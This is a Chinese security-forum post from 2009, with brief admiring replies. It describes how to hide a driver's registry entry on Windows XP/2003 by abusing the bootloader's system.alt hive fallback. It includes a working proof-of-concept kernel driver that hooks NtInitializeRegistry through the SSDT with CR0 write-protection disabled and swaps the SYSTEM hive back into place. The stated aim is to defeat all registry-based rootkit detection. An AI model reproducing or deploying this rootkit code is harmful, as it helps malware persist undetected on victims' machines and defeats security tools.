首页
社区
课程
招聘
[原创]绕过所有的注册表检查隐藏驱动注册表
2009-6-2 00:30 17407

[原创]绕过所有的注册表检查隐藏驱动注册表

2009-6-2 00:30
17407
几个月前,我曾在某些帖子谈论过这个技术

现在六一节到了,为了满足广大饥渴的小朋友们,特此放出

=====================================================

Mark在Windows Internals 4th(p 210)中提到过,WIN2000下,为了保持系统HIVE的完整性,系统在刷新SYSTEM HIVE的同时,会刷新一个名为“替补储巢”的hive :System.alt

当系统储巢System已经损坏,无法加载时,就会选择这个替补储巢system.alt来加载.这是由于win2000的ntldr不知道如何使用储巢日志文件(system.log)来进行储巢修复导致的,Mark称windows XP以后的系统已经抛弃了这一机制

但事实如何呢?首先我们来看一下某份NT4的代码:

下面这个函数是BootLoader(ntldr)用来加载系统HIVE的函数:
ARC_STATUS
BlLoadAndScanSystemHive(
    IN ULONG DeviceId,
    IN PCHAR DeviceName,
    IN PCHAR DirectoryPath,
    IN PWSTR BootFileSystem,
    OUT PCHAR BadFileName
    )
...................
省略无关部分
.....................

    strcpy(Directory,DirectoryPath);
    strcat(Directory,"\\system32\\config\\");
    Status = BlLoadAndInitSystemHive(DeviceId,
                                     DeviceName,
                                     Directory,
                                     "system",
                                     FALSE,
                                     &RestartSetup);

    if(Status != ESUCCESS) {
        //
        // bogus hive, try system.alt
        //
        Status = BlLoadAndInitSystemHive(DeviceId,
                                         DeviceName,
                                         Directory,
                                         "system.alt",
                                         TRUE,
                                         &RestartSetup);
        if(Status != ESUCCESS) {
            strcpy(BadFileName,DirectoryPath);
            strcat(BadFileName,"\\SYSTEM32\\CONFIG\\SYSTEM");
            goto HiveScanFailed;
        }
    }

可以看到,系统首先会尝试加载system hive,当systemroot\system32\config下的SYSTEM HIVE不存在或出现故障,则会尝试加载systemroot\system32\config下的system.alt HIVE

事实上,这部分代码一直保留在WINDOWS XP和WINDOWS 2003中,直到VISTA中才去除掉,VISTA系统中已更改为仅加载SYSTEM储巢,如果SYSTEM储巢加载失败,直接拒绝继续启动。

但是,这里只是NTLDR加载的储巢,这些储巢在系统启动后会被丢弃(保存在BootLoaderBlock中)

SMSS将调用SSDT中的NtInitializeRegistry函数,通过CmpCmdInit->CmpInitializeHiveList,通过CmpLoadHiveThread系统线程为CmpMachineHiveList中的每个系统储巢做加载和初始化工作

这里系统只识别\SystemRoot\System32\Config\System储巢,如果无法加载这个储巢,系统将调用KeBugCheckEx使系统蓝屏,蓝屏代码为STATUS_CANNOT_LOAD_REGISTRY_FILE

有了上面的知识,我们很容易便可知道如何隐藏一个注册表了:

只要我们将当前SYSTEM储巢删除或者使其无法正确识别,然后在config目录下保留包含了我们的驱动服务项的SYSTEM.ALT储巢,此时重启系统,NTLDR会使用我们的SYETEM.ALT储巢,于是会加载我们的驱动程序

我们在驱动中,HOOK NtInitializeRegistry函数,等待NT内核再次初始化系统储巢,等到后,我们将SYSTEM储巢恢复(move file / fix file /redir file...),此时系统就能正常引导了

但是此时系统加载的是不包含我们的驱动服务项的储巢,所以任何利用正常、非正常枚举手法进行的检测,都检测不到我们的驱动注册表。无论是还原nt*key函数进行枚举,还是使用cm*key进行枚举,还是使用所谓的Hive解析技术进行枚举。

下面是一个这个驱动的小POC,代码如下:
#include "ntddk.h"
#include "ntifs_48.h"
#include "zwfunc.h"
#include "stdafx.h"

#define MYDEBUG 1

#if MYDEBUG

#define KDMSG(_x_) DbgPrint _x_

#else

#define KDMSG(_x_)

#endif
ULONG OldNtInitializeRegistry =0;
BOOL SystemHiveIsBuild = FALSE ; 
const WCHAR RealSystemHiveLocation[] = L"\\SystemRoot\\System32\\Config\\SYSTEM";


NTSTATUS NewNtInitializeRegistry(USHORT BootCondition)
{
NTSTATUS stat ; 
HANDLE hfile ; 
IO_STATUS_BLOCK iosb ;
OBJECT_ATTRIBUTES oba ; 
UNICODE_STRING FileName ; 
UNICODE_STRING SystemSave ;

KDMSG(("NtInitializeRegistry is call!"));

if (SystemHiveIsBuild == FALSE)
{
   RtlInitUnicodeString(&FileName , RealSystemHiveLocation);
  

   InitializeObjectAttributes(&oba , &FileName , OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , 0 , 0 );


   stat = IoCreateFile(&hfile , 
    FILE_ALL_ACCESS ,
    &oba ,
    &iosb,
    NULL,
    FILE_ATTRIBUTE_NORMAL , 
    FILE_SHARE_READ | FILE_SHARE_WRITE , 
    FILE_OPEN , 
    FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,
    NULL,
    0,
    CreateFileTypeNone , 
    0,
    IO_NO_PARAMETER_CHECKING);

   KDMSG(("open config\\system return %08x\n",stat));

   if (!NT_SUCCESS(stat))
   {
    if (stat != STATUS_OBJECT_NAME_NOT_FOUND && stat != STATUS_OBJECT_PATH_NOT_FOUND)
    {
     goto end ; 
    }
   }
   else
   {
    ZwClose(hfile);
    goto end ;
   }

   //now system hive is not found

  //move file
  { 
   PFILE_RENAME_INFORMATION renameinfo ;

   renameinfo = (PFILE_RENAME_INFORMATION)ExAllocatePool(NonPagedPool , sizeof(FILE_RENAME_INFORMATION) + sizeof(RealSystemHiveLocation) - sizeof(WCHAR));

   renameinfo->FileNameLength = sizeof(RealSystemHiveLocation) - sizeof(WCHAR);
   renameinfo->ReplaceIfExists = TRUE ; 
   renameinfo->RootDirectory = 0 ; 
   RtlCopyMemory((PVOID)renameinfo->FileName, (PVOID)RealSystemHiveLocation , sizeof(RealSystemHiveLocation));

   RtlInitUnicodeString(&FileName , L"\\SystemRoot\\System32\\SYSTEM");
   
   
   InitializeObjectAttributes(&oba , &FileName , OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , 0 , 0 );
   
   
   stat = IoCreateFile(&hfile , 
    FILE_ALL_ACCESS ,
    &oba ,
    &iosb,
    NULL,
    FILE_ATTRIBUTE_NORMAL , 
    FILE_SHARE_READ | FILE_SHARE_WRITE , 
    FILE_OPEN, 
    FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,
    NULL,
    0,
    CreateFileTypeNone , 
    0,
    IO_NO_PARAMETER_CHECKING);

   KDMSG(("open system\\system return %08x\n" , stat));

   if (!NT_SUCCESS(stat))
   {
    ExFreePool(renameinfo);
    goto end ;  
   }

   stat = ZwSetInformationFile(hfile , 
    &iosb , 
    renameinfo ,
     sizeof(FILE_RENAME_INFORMATION) + sizeof(RealSystemHiveLocation) - sizeof(WCHAR) ,
     FileRenameInformation);

   KDMSG(("rename file return %08x\n" , stat));

   ZwClose(hfile);
   
   SystemHiveIsBuild = TRUE ; 
  }

}

end:
__asm
{
   movzx eax , BootCondition
   push eax
   call OldNtInitializeRegistry
   mov     stat ,eax
}

return stat ; 
}
NTSTATUS DriverEntry(PDRIVER_OBJECT Drvobj , PUNICODE_STRING RegistryPath)
{
ULONG OldCr0 ;
//drv load, hook NtInitializeRegistry

//IN WINDOWS XP , index of ZwInitializeRegistry is 0x5c

__asm{
   push eax
   push ebx
   cli
   
   mov eax , cr0
  
   mov OldCr0 , eax
  
   and eax , 0xFFFEFFFF
   
   mov cr0 , eax

   mov eax ,dword ptr[KeServiceDescriptorTable]
  
   mov eax , dword ptr[eax]
   //get service base

   mov ebx , dword ptr[eax + 0x5c * 4]

   mov OldNtInitializeRegistry , ebx

   mov ebx , NewNtInitializeRegistry

   mov dword ptr[eax + 0x5c * 4] , ebx

   mov eax , OldCr0

   mov cr0 , eax

   sti

   pop ebx
  
   pop eax

}

return STATUS_SUCCESS ; 
}


另外,如前面所说,这个技术是无法用于WINDOWS VISTA / 7的,VISTA的WINLOAD.EXE中已经去掉了这种机制

当然,这只是一个技巧,但是反映了一些思想:

1.所谓绕过检查,就是要让系统在某一时刻认为你是存在的,而某一时刻认为你是不存在的,利用信息的不对称来使检查失效

2.NTLDR和NTOSKRNL之间,也算是一种信息不对称,例如TOPHET,例如本篇这个技巧,都是利用NTLDR中缺少某种机制,而NTOSKRNL中存在这种机制,由于NTLDR缺少这种机制(例如TOPHET中,访问SCSI驱动器的机制),那么自然给了攻击者可趁之机

当然,微软在VISTA中大大弥补了这些不对称,但是可想而知,还是有更多的未知等着大家去探索。

[培训]《安卓高级研修班(网课)》月薪三万计划

收藏
点赞7
打赏
分享
最新回复 (26)
雪    币: 60
活跃值: (454)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
uvbs 2009-6-2 00:56
2
0
SF .

储巢这个名字好别扭, 听起来像初潮, 看起来像卵巢
雪    币: 114
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kelthuzad 2009-6-2 00:59
3
0
占个座慢慢看~
顺便膜拜MJ大大
雪    币: 7649
活跃值: (493)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 15 2009-6-2 06:56
4
0
又是绕过所有XX,太黄了~
说起不对称,我想起了TLB的不同步问题~
雪    币: 65
活跃值: (540)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dnybz 2009-6-2 08:21
5
0


占个座
雪    币: 116
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
peowner 2009-6-2 09:10
6
0
学习了!
雪    币: 41
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lionlx 2009-6-2 09:54
7
0
强帖 跟着膜拜。。。
雪    币: 108
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
王道 2009-6-2 13:16
8
0
膜拜 MJ大师
雪    币: 285
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaouestc 2009-6-2 13:33
9
0
过来了就占个座吧
雪    币: 1407
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
liangdong 2009-6-2 22:21
10
0
膜拜
我看书不仔细 没见过system.alt HIVE
雪    币: 733
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
非安全 17 2009-6-2 23:30
11
0
很详细,膜拜MJ大大
雪    币: 1450
活跃值: (35)
能力值: (RANK:680 )
在线值:
发帖
回帖
粉丝
jackozoo 14 2009-6-3 18:50
12
0
MJ贴 ,不容错过.
mark 一下 , 谢谢MJ
雪    币: 177
活跃值: (232)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
mergerly 1 2009-6-3 19:37
13
0
很强大,学习 学习
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hangweapon 2009-6-3 19:42
14
0
膜拜MJ大大!!!!!!!!!!
雪    币: 539
活跃值: (3835)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kagayaki 2009-6-4 15:49
15
0
收藏...............
雪    币: 780
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
Winker 8 2009-6-5 11:55
16
0
mj 出手,必有经典。。。
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
seesth 2009-6-5 12:52
17
0
收藏了,谢谢分享。
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cutcut 2009-6-5 13:47
18
0
太强大了,我什么时候才能做到呀
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
冰熔岩 2009-11-10 21:00
19
0
强贴,收藏!
雪    币: 231
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
starskywh 2009-12-3 11:30
20
0
  膜拜膜拜,顶顶顶哈.
雪    币: 414
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
孟贤 2009-12-9 20:09
21
0
看上去很棒~~~~学习 收藏了~
雪    币: 268
活跃值: (25)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
ReturnsMe 2 2009-12-9 22:24
22
0
膜拜mj~学习思路~
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
diuboss 2009-12-10 13:02
23
0
虚伪的人,自私的人,总是公布一些已经淘汰了的东西来沽名钓誉
BS此人
雪    币: 130
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
風之痕 2010-7-26 00:15
24
0
占个位置....
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
武汉星痕 2010-7-27 14:26
25
0
重点不是利用过程而是思路,,,,
游客
登录 | 注册 方可回帖
返回